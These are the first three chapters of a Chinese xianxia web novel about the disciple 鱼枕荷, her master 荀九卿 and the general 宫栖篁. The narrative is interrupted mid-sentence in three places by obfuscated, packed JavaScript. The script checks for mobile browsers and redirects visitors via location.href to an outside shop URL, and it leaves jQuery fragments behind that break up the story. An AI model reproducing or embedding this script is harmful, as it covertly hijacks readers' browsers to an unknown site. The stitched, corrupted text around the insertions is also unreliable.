《小鱼枕荷》 1. 天知地知,你知我知 “护法!快!加强护法!!” 鎏金灵光闪烁的巨大八卦阵外,八位天官各居一方,手中结印,口念咒诀。 法阵内,青衣女子的身上每溢出一丝血煞气,灵气凝结成的电光便会急转直下,击碎气息,刺入她体内。她跪伏,痛苦嘶号,原本明艳的眼眸汩汩流淌血泪,浅青的衣袍染上鲜红,似从冬雪中开出的红梅。 女子双手撑地,用尽气力凝望向诸仙结成的阵法之外,那个同样眉宇紧蹙,一刻都不敢分心地紧盯着法阵变幻的紫袍公服青年。 “荀九卿!”她嗓音沙哑,声嘶力竭大喊道,“你到底发的什么疯,脑袋被驴踢了吗?!本将是在救你!是在救你们所有人!!”她转头,又死死瞪向另外一边、怀揣一大摞玉简的小少女,抬手指着她,“你知道她在做什么吗?本将不杀了她,她迟早会害死你们!!” 少女吓得不轻,瞳孔震颤地往后倒退半步,怀中堆叠的玉简没扶稳,最上面的一册便“啪嗒”一声滚落到地上。她下意识朝大阵对侧的紫袍青年看过去。 后者只匆匆瞥她一眼,没有再分给她多余的目光,仍旧与阵法中人相视。 “那便告诉我实情,宫特进,她做了什么,值得你用万劫寂灭屠灵阵杀她?”他微微敛了神色,语调却依旧紧张。 万劫寂灭屠灵大阵,入此阵法,不论是人是仙,只一弹指时间便都能魂飞魄散、再无来生。 但凡他晚来一秒,被困绝杀阵的少女便不会有半分生还机会。 青衣女子嘴巴张了又闭,她用两只手掐在自己脖颈间,面色涨红痛苦,却依旧半天吐不出一个完整的字。她扫视过周围一众天官,最终还是朝少女吼道:“鱼枕荷!你如此作为,对得起你师父这些年来的教诲吗!他引你入仙途、带你上天阙,到头来你就这么报答他?!” “我……我不是……” 鱼枕荷着忙想要辩解,却听身在坎位的布阵天官抢先出声言道:“不行了!荀提刑!宫特进力量太甚,再一直抵死反抗下去,护魂阵法马上就要撑不住了!” 此言方才落下,顿时便又有一团汹涌的血煞气从阵内女子的灵窍内爆发,打在法阵的金光咒文上。她七窍尽数流血,面貌瘆人。失去意识前,她努力撑起头往阵外看,嘴唇翕动,而后便直直栽下去,再没了动静。 “宫特进!” 布阵的天官赶忙撤了八卦阵,快步围到青衣女子身边。 其中一人探了她的气息,朝众仙之后的荀九卿说道:“命保住了,可心魔煞气已经弥散到四肢百骸,若是除不干净,走火入魔还算轻的,更糟的情况只怕是根脉寸断、爆体而亡。还有……”他顿了顿,“仙神堕魔,屠戮大荒之事早便有了先例,天阙尤其不许此般人继续留在三十三重天。” “宫特进身上的心魔煞气分明已经安稳许久了,如今却又毫无征兆地失衡,前边关上将一旦失控,我们十几百颗脑袋都不够给她打的,所以眼下这般……是否要奏报天庭?” 另有天官言道:“可上奏天庭,宫特进便只剩死路一条。想宫特进数百年来尽心尽力驻守仙域,只一朝舛错,如此做也太过残忍。” 荀九卿走近了,翻手取来方帕擦了宫栖篁面上的血迹,道:“送宫特进回去罢,之后的事我来想办法。”他看向最先开口的那个官差,“兹事体大,先不要惊动天庭。” 天官点头,小心翼翼抱起昏迷不醒的宫特进,只一闪身便从原地消失。 荀九卿道:“魔域觊觎三十三重天良久,宫特进又曾是镇守西极虞渊的上将,自魔域界碑的封印出现裂痕,便有愈来愈多魔域中人涌入仙域,意图再次发动两域战争……今日之事万不可声张,莫要让魔域生出乘虚而入的念头。” 其余七位奉召赶来布阵的天官连忙答是,各自离开。 一时间,藏书阁的院落内只剩下了荀九卿,以及抱着玉简一言不发的鱼枕荷。 眼见荀九卿逐步靠近,鱼枕荷把脑袋低得更深,独自斟酌一番才低声说道:“师父……我是不是犯错了?” 荀九卿垂眸扫过掉落在她脚边的那一卷玉简,玉简上记载有多种三十三重天仙域、乃至昔日神域遗落的修炼术法,“方才问宫特进的话,为师原封不动再问你一遍。”他说道,“你做了什么,值得她动用万劫寂灭屠灵阵杀你?” 鱼枕荷低着头,思忖片刻:“可能……是我借了一些书,宫特进觉得我不该看这些。”她将怀抱着的一摞玉简往前递,在荀九卿拿起其中一册翻看后,她又似忽然想起什么,赶紧加快语速解释道,“我、我知道这些法术我还没本事用,所以只是随便看看,绝对没有私练!师父若是不相信,也可以探徒儿的灵窍!” 荀九卿听完,没有真的要探鱼枕荷灵窍的意思,他放回玉简,又将落在地上的那一册捡了叠上去,缓言说道:“宫特进心神不稳,你近些时日便留在宗门,非必要尽量少来三十三重天,尤其是玉京台,以免多生事端。” 见师父不再追究,鱼枕荷小鸡啄米式地点头,匆匆作揖、道了句告退便要离去。 “鱼儿。”荀九卿唤她。 鱼枕荷顿住脚步,回过身:“师父?” “你太心急了。”荀九卿道。 闻言,鱼枕荷微一怔愣,俄顷才又半懵半懂地重新转过身。 走出一段距离后,背后被人注视着的感觉消失,她松了口气,接着便快步跑远。 …… 大荒九域,三十六重天,九重天之下为人、鬼、怪所居住,九重天之上为其余六域所居,也便是仙域、魔域、妖域、精灵域、神域、佛域并称为天界。 九重天是人间与天界的交界处,不归任何界域管辖,其内最多的便是凡尘人或仙家人建立的修真门派,先来后到,各霸一方洞天。 “世事无相,相由心生,可见之物,实为非物,可感之事,实为非事。物事皆空,实为心瘴,俗人之心,处处皆狱,惟有化世,堪为无我。我即为世,世即为我……” 鱼枕荷独自回到无常关时,多数内门同僚正在学堂内读书。她透过窗棂往里看,恰好便与这堂课的教习长老目光交汇。 她推门进去,一众同僚见着她后又是一阵窃窃私语。教习长老及时出言止住学堂内的骚动,鱼枕荷把书放到案几上,向身旁同窗问清这堂课的内容,提笔蘸墨,随即便一直低着头没再出声。 教习长老在讲书,鱼枕荷却是没有半点心思听,她在书卷上涂涂画画,记下的尽是些先前在仙域藏书阁的玉简上看见的法术心诀。 师父说她太心急了…… 鱼枕荷的墨笔又开始在书卷上打圈圈。 心急什么呢……?九卿师父是三十三重天仙域的提刑官,又是能够一手设计出防止心魔弑主的护魂法阵的逸群之才,至于她是怎么被捎上仙域的,无论怎么想也只能算是恰逢其会。 师父说是这段时日不让她再回仙域,可发生了今日之事,恐怕他日后也再不会让她跟去仙域了。 教习长老走得远了,鱼枕荷从这堂课的书本下面抽出另一本书,将方才记下的咒诀换了更工整的字迹全部誊抄上去,末了也没继续听学,就这么盯着本子上的咒诀看,时不时涂改几笔,长老走近了便将课本盖上去。 待到放课,被迫安静了许久的门生们瞬间一拥而上,团团围住鱼枕荷的书案,对三十三重天上的事情问东问西。 有关天庭的事情,鱼枕荷原本便知晓的不多,还都是些无关紧要的,故而同僚们问什么,她便如实答什么,没有刻意隐瞒。 “小鱼师妹这次回来多久呀?”有人问道。 鱼枕荷是内门年纪最小的,不论是否同届,她都习惯了同僚喊她时带上个“师妹”的后缀。她抬首,看向发问的那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17296651|198566||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 位师姐,浅笑言道:“应该不走了。” “不走了?” 诸多师兄师姐面色惊异,又有位师兄不解道:“师妹的志向不是入仕天庭吗?荀宗师是天庭的提刑,你跟着他机会也多,怎么能说不去就不去了?是出什么事了吗?” 鱼枕荷摇摇头:“没事……可能是我太心急了吧,师父更希望我能多留在宗门。” “哦——”师兄一副了然模样,“你早这么说嘛!那就是这段时间不上仙域了,又不是永远不上去了。刚好,咱们同窗几个好久没有切磋过了,下学后试剑台见啊!” 还未及鱼枕荷回话,下一堂课的教习长老已经走进学堂。这位长老似乎是个不太好说话的,师兄拍两下鱼枕荷的肩,飞快闪回自己位置坐好,其他同僚亦是。 之后一连三堂课都不需要出学堂,鱼枕荷走神了两节课,被长老提醒后打起精神认真听了半节课,又走神了半节课。 直到下学,几个比较熟悉的师兄师姐拉着鱼枕荷去了试剑台,鱼枕荷一人轮番接了他们所有人的剑,累得不行了,师兄师姐们才终于愿意放她走。 回去般若峰,鱼枕荷脱力躺倒在寝殿拔步床上,仰头望着承尘发呆。 早些时候,她已经在般若峰转了一圈,没有看见九卿师父,估计对方还在三十三重天给宫特进疗伤。 鱼枕荷在仙域被宫栖篁追着杀,回了宗门又被同僚们拉来扯去,折腾到现在,其实非常乏累了,但此刻回到寝殿,她却还是翻来覆去睡不着。 不知又过去多久,荀九卿回来了。 天上繁星点点,弦月悬空。鱼枕荷藏在院中的紫藤树后,看着荀九卿回去他的寝殿,熄了灯。她没着急走,还在树后等了一刻多的时间,确认他睡下了之后才蹑手蹑脚离开。 玉京台是宫特进的住处,外头有两名侍卫驻守,他们知晓宫特进受了伤,也知晓荀九卿替他们家特进疗了一下午的伤,但不知缘由。 鱼枕荷借了九卿师父的名头,称自己是接师父的班来查看宫特进的伤势,经一番交涉,侍卫收戟放她进去。 宫栖篁还未入寐,寝殿的烛台亮着昏黄的光。鱼枕荷叩门,推门入内。 足足耗了一个下午,宫栖篁的心魔明显得到了妥善的抑制。水蓝云纱织成衣裳,掩去了她久经沙场染上的凌厉,她坐在案几旁,神色泰然地掠过鱼枕荷,冷淡说道:“你来做什么?” 鱼枕荷合上门扉,继而转身看向她,垂眸道:“对不起。” “你有什么好对不起的?” “我必须这么做。” 貌似是这句话刺激到了宫栖篁,她的眸光重新染上戾色,起身三两步走到鱼枕荷面前,单手掐住她的脖颈。 “必须?鱼枕荷,好好看清你自己,你当真知道你在做什么吗?你……”宫栖篁话说一半又噎住,并非她不敢多说,而是眼前之人在她撞破真相时,直接对她用了明显是准备已久的禁制法令。法令不灭,有关真相的一切她根本开不了口。 鱼枕荷毫无防备,宫栖篁又曾是边关武将,手上力度极大,很快鱼枕荷便觉头昏脑涨,眼前一阵一阵地发黑,就要失去意识。 “收手吧。你会害死你师父、害死我,害死你身边的所有人……”宫栖篁声音颤抖。只有她二人的寝殿内,宫栖篁到底还是垂下手,没有趁这个绝佳的机会杀死鱼枕荷。 鱼枕荷接连呛咳好几声,失力倚靠在门板上,缓了好一会儿工夫才复开口道:“天知地知,你知我知。这件事是我擅作主张……可我已经走不了回头路了。”她从袖袋中取出一个小瓷瓶,走近放到床榻边的案几上,“是我看书调的丹药,也许对舒缓心结有些帮助。” 宫栖篁看都不看一眼:“你的药本将可不敢吃,谁知道里面放了什么东西,等着杀人灭口呢。” 鱼枕荷无言,留下丹药便转身离去。 2. 课业 三更天,无常关上下寂若无人,只有各座阁与殿外的长明灯还亮着。 鱼枕荷回到般若峰,又是远远往师父的兰因殿看过去,殿里的灯熄着,她于是才返回自己的无相殿。 寝殿内昏暗无光,她翻身上榻,只施法在床头点亮一丝透不出窗户纸的微弱火光,从案几的抽屉里翻出一摞书卷,摊开铺在床榻上,掩着被子一页一页翻看。 书卷上的咒诀符文没有批注,还有许多早已失传的上古术法,晦涩难懂。鱼枕荷又翻出自己亲笔写录的折本,对应着书卷上的符文逐一复刻。 她伸手取书,无意打翻了一叠靠近床沿的玉简。玉简滚落到榻下的绒毯上,没有发出声音,只有一块隐约烁着血红光泽的、漆黑的石头从玉简内滚落出来。 鱼枕荷眼疾手快捞起玉简,把石头包裹回去,重新将之放回案几抽屉。 寝殿外,一截雪青衣袂因风拂过廊柱。荀九卿倚在柱前,侧眸瞥向早早便熄了灯的无相殿,过去良久,里头未有传出任何动静,他才悄无声息离开。 檀香烧到底端,鱼枕荷觉出愈来愈重的困意。窗棂外隐约透出光亮,是已将近日出时分。 她整理好床榻上的所有书卷,尽数塞回抽屉,这才躺回枕头上阖眼小憩。 鱼枕荷这一觉睡得格外饱,待她猛然惊醒,坐起身往窗外看,天已经彻底亮了。 她坐在床榻上缓了半晌,思绪逐渐回笼。 今日不用上仙域公干,所以师父离开时没有来敲她的房门,任由她一觉睡到了自然醒。 鱼枕荷换回了无常关掐绣金丝迦楼罗纹的精白宗门袍,到主峰去寻其他师兄师姐。 昨日实在太过疲累,鱼枕荷这觉直接睡到了日央,师兄师姐们都分散在比武场上练功。见鱼枕荷提剑赶来,一众同僚皆是热情凑上来迎接,你拉我扯地就把她拉进练功的队伍中。 庆幸的是鱼枕荷从前三天两头不回宗门,如今突然说不走就不走了,同门的师兄师姐们却都并没有与她生分,练剑时叫她同往,吃饭也愿意拉她一块儿,三三两两的人儿凑在一处,谈的便是些宗门内外的八卦小话,还有大荒各域的奇闻传说。 之后的两个月里,荀九卿的确没有再带鱼枕荷上过仙域。但他不带她,不代表鱼枕荷不会自己偷偷跑上去。 每日下学回了般若峰,鱼枕荷就如往常一样练功习剑,再晚些还得上院子的池塘喂锦鲤。 荀九卿日日要上三十三重天给宫特进疗伤,起初的小半个月,鱼枕荷几乎不能在天黑前见到师父,于是她习惯补完功课便送去他的书房,一卷一卷玉简堆在他的书案上,等他回来后批阅。后来荀九卿回来得早了,鱼枕荷便晓得是宫特进基本上无有大碍了。 深夜荀九卿回到兰因殿,鱼枕荷便趁这段时间溜上仙域,熟门熟路跑进宫特进的玉京台。驻守的侍卫早已习惯了这师徒二人一个白日来、一个夜晚来,见了他二人便直接收戟,从不多问。 宫栖篁仍旧不待见鱼枕荷,见到她就摆一副臭脸。鱼枕荷不甚在意,只是时不时带着调制好的丹药跑进宫栖篁的寝殿,与她聊些有的没的,平常在师门听见的趣事也一并同她讲,也不管她回不回答、听没听进去。 宫栖篁弃武当了文散官,定居天阙十余载,与荀九卿共事已有五载,眼看着人一点点抽条长个儿。天庭事务繁重,荀九卿帮着修订不少天规法度,有大臣上书,明里暗里指责天规朝纲苛刻排内,易使朝廷内部人心不稳,要求重修法度,后被荀九卿三请奏疏驳回。 圣上尤其倚重这个从仙门请来的客卿,因而特许他蓝笔代朱笔,许多政务交于他手。自打对方多了个徒弟,大把的精力便放在了那个小丫头身上,从一开始频繁回门,到后来索性把那丫头带上了三十三重天,甚至教她如何批文理政,不晓得的还以为是在培养皇太女。 有一回荀九卿入朝公干,留鱼枕荷独自在府上学着批奏折。宫栖篁推门而入时,前者还在满脸愁色地咬笔杆,方听见声响便立马抬头,一对清亮的碧玉眼眸不解望向她。 不顾鱼枕荷阻拦,宫栖篁随意拿起几本奏折,翻阅过去—— 【臣于天阙城外见鬼差做孟婆汤生意,敢问可有违反天庭法度……】 【瑶池所蕴养七色锦鲤方才越过龙门便为朏朏一口吞下,是为凶兆还是吉兆……】 【后日小宴,天帝陛下喜爱荔枝还是龙眼……】 【……】 宫栖篁冷笑一声,重新将奏折丢回书案,之后再没特地来荀九卿的府上看过鱼枕荷。 出于见不得从小养大的白菜被猪拱的心情……虽说大概率是白菜拱的猪,原本宫栖篁便看荀九卿身边这个突然冒出来的徒弟很不耐烦,尤其是撞破了那件不可告人的秘密后,更是对她生厌,但鱼枕荷似乎并不害怕她堂堂前边关上将下杀手,每回上界寻她连柄佩剑都不愿意带,只捎瓶据说是调养心气的丹药。宫栖篁不屑于吃一个凡人丫头给的东西,鱼枕荷一走,她立马就连药带瓶一齐丢掉。 这日鱼枕荷又来玉京台,宫栖篁终于忍不住愠怒道:“有话就直说,本将没工夫听你东扯西扯!” 鱼枕荷放下药瓶,道:“我从来便没有多余的意思,只是想与你好好相处。” “区区一个凡人,能与本将说上话已是三生有幸。”宫栖篁说道,“你能接触到天庭的人,全靠沾你师父的光,飞上枝头变凤凰的白日梦你最好还是少做些,免得引火烧身。” “我明白。”鱼枕荷应道。 宫栖篁怒意未消,但鱼枕荷丝毫不与她争辩,宫栖篁根本找不到与她吵架的契机,一股气憋在肚子里不上不下。 鱼枕荷从来便是这副模样,每回宫栖篁冲她发火就像是一拳打在了棉花上,到最后只能气到自己。 榴月上澣,临近无常关年中考核,宗门上下忙忙碌碌,尤其是内门,不仅要准备统一的法综、文综与武综,完事其内部还要单独上试剑台比剑,与外门分开排榜,为的是更妥当地分配修炼资源。 鱼枕荷平素不与师姊妹同住,但只要早晨去饭堂打餐,顺路经过弟子斋舍,还是能够听见里头传出对于考核焦头烂额的抱怨声。 也许是顾及鱼枕荷才回宗门不久,尚未适应,又或者是看在她师父的面子上,各位 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17296652|198566||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 教习长老对她总是要比其他门生宽容,哪怕她功课交得晚了、上课打盹儿了,也不曾过多指责,只会偶尔点她一两句。至于她的其他师兄师姐,那都是谁开小差了谁挨一笔杆子。 如此被特殊对待的感觉叫鱼枕荷感觉很怪异,总是心里发毛,到后来她哪怕再忙碌,还是功课不敢晚交、课上不敢打盹儿。长老们不同的对待,竟也让她与她的师兄师姐们起了相同的效果。 不晓得是谁打的主意,今日内门照常下学,眼看教习长老前脚刚走,忽然就有一群同僚乌泱泱围到整理书卷的鱼枕荷身边,其中一人打头询问道:“小鱼师妹,你最近忙不忙?” “嗯?”鱼枕荷抬头。 她其实是忙的,要做长老布置的功课,要背师父编纂的剑谱,还要看古书、上三十三重天寻宫特进,但她担心自己一句“很忙”说出口,叫有要事寻她的师兄师姐们白跑一趟,还耽误他们时间,于是先行问道:“是怎么了吗?” 唤她的那位师兄嘿嘿一笑,把怀里抱着的课业本放到小鱼师妹的桌案上,道:“你师兄我偏武,这种需要落笔的东西实在是写不出来,小鱼师妹如果不忙,能否帮师兄我代劳呀?” 鱼枕荷微一怔愣,扭头环视一圈围在她桌案四周的同僚们,骤然预感不好:“你们……不会都要我来写吧……?” 她此言一出,又是有几摞课业本拍在她的桌案上,周围的师兄师姐你一句我一句,为彼此解释得头头是道—— “反正教习长老也不管你,你就帮帮我们呗。” “我看小鱼师妹几乎日日泡在书斋,懂得肯定比我们几个多,多写几本功课而已,对师妹而言轻轻松松嘛!” 鱼枕荷一张嘴说不过他们这么多人,只得妥协答应下来:“可是长老们也不傻,我一个人写你们全部人的功课,绝对是会被看出来的……” “哎呀、看出来也没事!”有师兄爽朗笑道,“那几个老头子老眼昏花,功课都是瞄几眼就过去了,不会仔细看的!大不了师妹你把字写得丑一点,能蒙混过去就行了!” “那……好吧。”鱼枕荷无奈点头答应,随即伸出食指,在领头的师兄面前晃了晃,“我可事先说好,笔试不通过是要补考的,还要扣后一月的灵石。” “放心!功课一回事,考核那是另外一回事!” 堆叠的课业本高过了鱼枕荷的脑袋,师兄师姐们走后,她尝试搬动书册无果,索性提笔蘸墨,当即坐在书案前开始写。 鱼枕荷临过的字帖很多,叫她换几个字体并不难。她写完自己功课后就把课业本垫在最下面,从高处抽下同僚的课业本,换了字体誊抄一遍,再换一本,再继续誊抄。 只希望几位长老真的不会看书册里的内容吧。鱼枕荷心想。 …… 金乌逐渐落地,到后来天空缀起星辰。般若峰上,荀九卿阅完了摞放于书案的课业,每一页都用朱笔做了细致批注,继而在书房等候许久,却迟迟没有见到鱼儿带着今日的课业来寻他。 他透过窗棂往外看,夜色深沉。又候了超过一个时辰,他才捻灭了书房的烛灯,回去寝殿。 3. 小鱼儿、小鱼兔 就这么当了数日的功课代笔,直到第六日,鱼枕荷刚踏入学堂门槛,门内的教习长老就大吼“滚出去”。鱼枕荷吓了个激灵,飞快退出到门扉后,后背紧贴门板。 这般动静一闹,她立马便知晓自己替同僚们写的功课出问题了。 果不其然,在鱼枕荷被喝了一声后没多久,教习长老在台上清点课业本,陆陆续续又将十几个门生轰出学堂门,与鱼枕荷排排站开。 清点到最后,教习长老重重掼下课业本,腾着深深怒意走出学堂,站到一排动都不敢动的小门生面前,横眉立目、令人望而生畏。 谁也没想到今日第一堂课的教习长老便是那位诨名“闫”王爷,全宗门上下最严苛的闫楚、闫二长老。门生们个个低着头,像是扎堆犯了错事,结果被尽数揪出来教训的小鸡崽子般,内心忐忑地等待接下来的狂风暴雨。 闫二长老伸出手指,指尖挨个点过小门生的脑袋,口中念念有词地数道:“一、二、三、四……十二、十三。好!”他忽然放大嗓音,又是将门里门外的门生全部吓得浑身发毛,“十三个人,全是荀九卿的徒弟!”他目光锁定在一个身形高挑的青年身上,正是六日前打头来找鱼枕荷代写功课的那位师兄,“够能耐!无常关的三转避火诀都记不清楚,竟已经学会天阙的八转避火诀了!” 与挨训的师兄之间隔着两个人,鱼枕荷把头低得更深,恨不能现在就钻进土里去。 所以她才那么担心教习长老真的会认真看她写的课业本…… 她从前跟着九卿师父待在三十三重天阙,熟悉的都是仙域的功法咒诀,与师兄师姐们在无常关学的宗门咒诀根本就不一样…… 终于,闫二长老徐缓走到鱼枕荷面前。鱼枕荷不敢抬首,手指背在身后拧作一团,紧咬下唇,低头看着脚下的汉白玉地砖。等天光被一道高大阴影挡住,她心跳如擂鼓,连当场跪下来认错的心都有了。 “这么喜欢替旁人补功课?”闫二长老问道。 鱼枕荷飞快摇头。 “他们偎慵堕懒通不过年中考核,一切损失你替他们承担?” 鱼枕荷把头摇得像拨浪鼓。 “那你这又是在做甚!” 鱼枕荷急忙大喊:“弟子知错!弟子再也不敢了!” 闫二长老怫然,拂袖背身:“想无常关贵为仙家三门五宗之首,竟是教出了你们这等好逸恶劳之徒,无时无刻、所言所行净为宗门蒙羞!” 鱼枕荷与十二个同窗兄弟姊妹大气不敢出,就这么挨完了闫二长老劈头盖脸的一顿骂。 到后来鱼枕荷听得整个人都晕乎乎的,大脑一片空白,只知道频频点头,发觉闫二长老的话声停住就开始小鸡啄米、连声答应。 她不止替师兄师姐们写闫二长老的功课,还把每日入学堂讲课的不同长老布置的功课全都写了,好在整六天下来,只有闫二长老在今早将他们几个提出来训了一顿,另外几位长老许是没有认真看课业本,许是睁一只眼闭一只眼,总之没有与他们计较。 课间,师兄几个带着零嘴来找小鱼师妹赔罪。听闻闫二长老状告到掌门那里去了,说是必须要整顿宗门风气。几位长老议会,还不知道又要新定什么规矩。 鱼枕荷心不在焉地啃着师兄送来的甜杏脯,下学后第一时间便跑去了宗门大殿。 刚巧另外十二个师兄师姐也好奇几位长老到底会商议出个什么结果,便跟在鱼枕荷后头,几个人一块儿藏在大殿外墙角。 鱼枕荷扒着门扉往里张望。大殿内左右摆放两列案几,各位长老分坐一处,无常关掌门姜书怜则坐在最前头的主座,发束金冠,珍珠垂坠。此刻他漫不经心地摇晃着手上的折扇,扇子朝自己的那侧绣了姚黄牡丹,朝外示众的那侧则是十个大字…… ——牡丹花下死,做鬼也风流。 闲散的姿态冲淡了衣着的华贵,他偶尔抿一口茶,颇有闲情逸致地听闫二长老喋喋不休,将内门弟子挨个数落一遍,旋即言道:“闫二长老说的是,近几年这内门的确是要比外门还要过得闲散,管教管教是应该的。” 似乎是所言得到了认可,闫二长老反而沉静下来,也抿一口茶水:“我看外门多的是想要进内门修炼的弟子,许多资质也不比内门要差,倒不如趁这趟年中考核,给内门与外门做一回大换血,重新分配分配修炼资源。” 闻见此言,殿门外偷听的几个门生全都无声张大了嘴巴,瞪眼看向身侧的人,有人甚至着急到打手语,尽管彼此之间都看不懂对方到底想表达些什么。 鱼枕荷亦是心中一惊,扬起脑袋紧盯身居高处的姜掌门,有时担心窥视得太明显,还往门后缩一缩。 她今日盘了双螺猫耳发髻,藏在殿门后只露出两个晃来晃去的尖尖角……有些显眼。 掌门的白玉高座正对大殿门,姜书怜视线微偏,扫过殿门外一晃一晃的小猫耳朵,凤眼微眯,手上扇子一转,将绣着牡丹的那一面翻向外侧,然后道:“是要大换血,但挑在年中考核为时过早。” “替他们写功课的人是鱼枕荷,她的意外回宗是内门愈发懒散的导火索之一,可你也晓得,鱼枕荷是荀九卿的亲传弟子,只要荀九卿不开口,咱们再想要大换血也换不到她头上。” “等你把资源重组的消息公布出去,其他内门弟子心惊胆战,鱼枕荷却是可以高枕无忧,无疑是让她做那个众矢之的,虽说这的确是可以让她长记性了,但此事落人口舌,一传十十传百,皆谈无常关下任掌门人教出来的亲传弟子带头无视门规,搞不好抹得更黑,最后为难的还是我们几个需要抛头露面的人,您说是不是?” 闫二长老敛眉,沉吟半晌后肃声道:“那你说,怎么办?” 姜书怜道:“逃个功课而已,门风不是一天两天形成的,你紧揪着一点不放完全没必要。”他轻摇金丝折扇,道,“下下个月不是仙盟群英会吗,万法仙盟对各派进入场域的门生都要提前考核,其中很大一部分便是我给出去的宗门内成绩,他们喜欢叫鱼枕荷代笔,你就是装傻也好,如实将他们的课业成绩核算给我,等仙盟将他们安排去跟老前辈打一回,他们自然就长记性了。” 门外,众人你看我、我看你,从起初的大眼瞪小眼,到后来你推我搡着撤离大殿,一直退到五十步外,确认殿内长老彻底听不见他们的动静后才终于放开声音,叽叽喳喳吵闹起来。 仙盟群英会是诸仙家最重视的赛事之一,由各大门派最具声望的宗师长老联合敲定而成,其每十到二十年举办一回,一回五到十五日不等,目的是为了促进仙门之间的交流,让各宗各派相互取取经,学学本事,避免一方独大。 无念为宗,无相为体,无住为本。仙门独一份的,在无常关扎根的门生很少,师兄师姐们出师后基本各走各道。今年的群英会,恰好轮到他们新一届无常关门生参与。 相较于其他宗派经验丰富的门生,他们这群小鸡崽子对这颇受诸仙门重视的大赛事,实可谓一无所知。 师兄懊恼到双手抓头:“还以为掌门能替我们说点好话呢,结果更糟了!那可是仙门群英会,四海八荒鼎鼎有名的那些大仙门都会参与!要把我们分去和那群修炼了几十几百年的老前辈比试,那不是丢脸丢到仙门百家面前了吗?” 又有人抱怨道:“这闫王爷这么久不来教书,怎么偏偏今天来了,还偏偏第一节课……” 师兄师姐们怨声载道,鱼枕荷凑上前,浅笑道:“姜掌门是在给你们改过自新的机会呀。”她揪下师兄抓在后脑勺的手,“与前辈切磋是增长经验,反正人家不认识我们,我们丢脸也丢不出无常关。倒不如趁群英会这段时间努努力,真正把能力提上去。现在辛苦些,哪怕无常关后续安排末考大换血,以我们那时候的成绩也无须担心被拆散了。” 瞧着鱼枕荷笑意盈盈的模样,师兄的脸色仍旧没有好看到哪儿去:“小鱼师妹倒是不用担心群英会和宗门大筛。” 鱼枕荷眨两下眼睛,歪过脑袋:“我这就要成为众矢之的啦?看来闫长老说得也没错,干脆就趁年中考核给你们来一次大换血好了。” “师妹!” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17296653|198566||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >鱼枕荷还是笑,她朝一众愁眉苦脸的师兄师姐们摆摆手,而后扭头就跑。 想来,这回他们吃了闫二长老的教训,估计近几个月都不会再有人冒险来找她代写功课了。 鱼枕荷终于有了继续钻研仙域功法的时间,回了般若峰便迫不可待跑进房间,合上门,拿出抽屉里的玉简,趴在美人榻上专心翻阅起来。 不知过去多久,房间外的殿门被“咚咚”轻叩两声。 听见声响,鱼枕荷用软枕盖住玉简,抬首看向房门方向。 是九卿师父吗? 今日天还未暗,师父回来得竟如此早。 鱼枕荷这几天回般若峰皆已过二更,每次经过兰因殿时,殿里的灯火都熄灭了,叫她接连五日没有和师父碰上过一面。 也许是师父近几个月一直早出晚归的缘故,鱼枕荷待在般若峰虽偶尔会觉得闷,但随着时日渐长,外加师兄师姐时不时会拉她到无常关其余各峰闲玩,她也有些习惯了长时间见不着师父的日子,至少不会再每隔半个时辰就出门看一眼对方有没有回来。 鱼枕荷翻身下榻,小跑过去开房门,拐了个弯再去推开无相殿门。 门外空无一人,九卿师父也不在。鱼枕荷疑惑,刚想探头出去张望,却忽地感觉衣摆被什么软乎乎的小东西轻触了一下。她低头,立时便看见一团雪白的毛茸茸跳过门槛,伸出两只软爪扒住她的裤腿。 小兔子! 鱼枕荷心中讶然,却担心惊吓到脚边的小兔,只是非常缓慢地蹲下,试探着伸手去碰小兔的脑袋。出乎意料的,她手方才往前伸出没几寸,小兔便主动凑上来,三瓣唇蹭过她的手,叫鱼枕荷觉得手掌心生出细密的酥痒感,她于是放大了胆子去揉小兔软乎的脑袋,小兔耷拉着的一只小耳朵就覆在她的手指上。 小兔的月份还小,双耳尚未长大变重,它歪过脑袋,还能勉强竖起一只耳朵来,看着有些滑稽。鱼枕荷揉了一会儿兔毛,小兔便将整个脑袋紧贴在地上,圆溜的眼睛也眯成一条细缝,一副享受抚摸的模样。 鱼枕荷不禁笑出声来,一时间好像将所有烦心事都忘记了。 除了池塘里的锦鲤外,鱼枕荷从未养过其他宠物,尤其是这种毛茸茸的。小时候她在大荒境内四处游荡,喂过不少流浪猫狗,小兔的手感却是比它们都要软上不少,张开手覆上去,就似是握住一团棉花。 俄顷,小兔蓦地抬起脑袋,一蹦一跳间又是跃出门槛。 鱼枕荷的视线追随小兔而去,小兔跳到一处停下,一截雪青衣角映入她的眼帘。 她立即抬头,便看见九卿师父俯身抱起小兔,揉两下兔耳朵,随即缓步走至房门前,动作轻柔地把小兔送进她怀里。 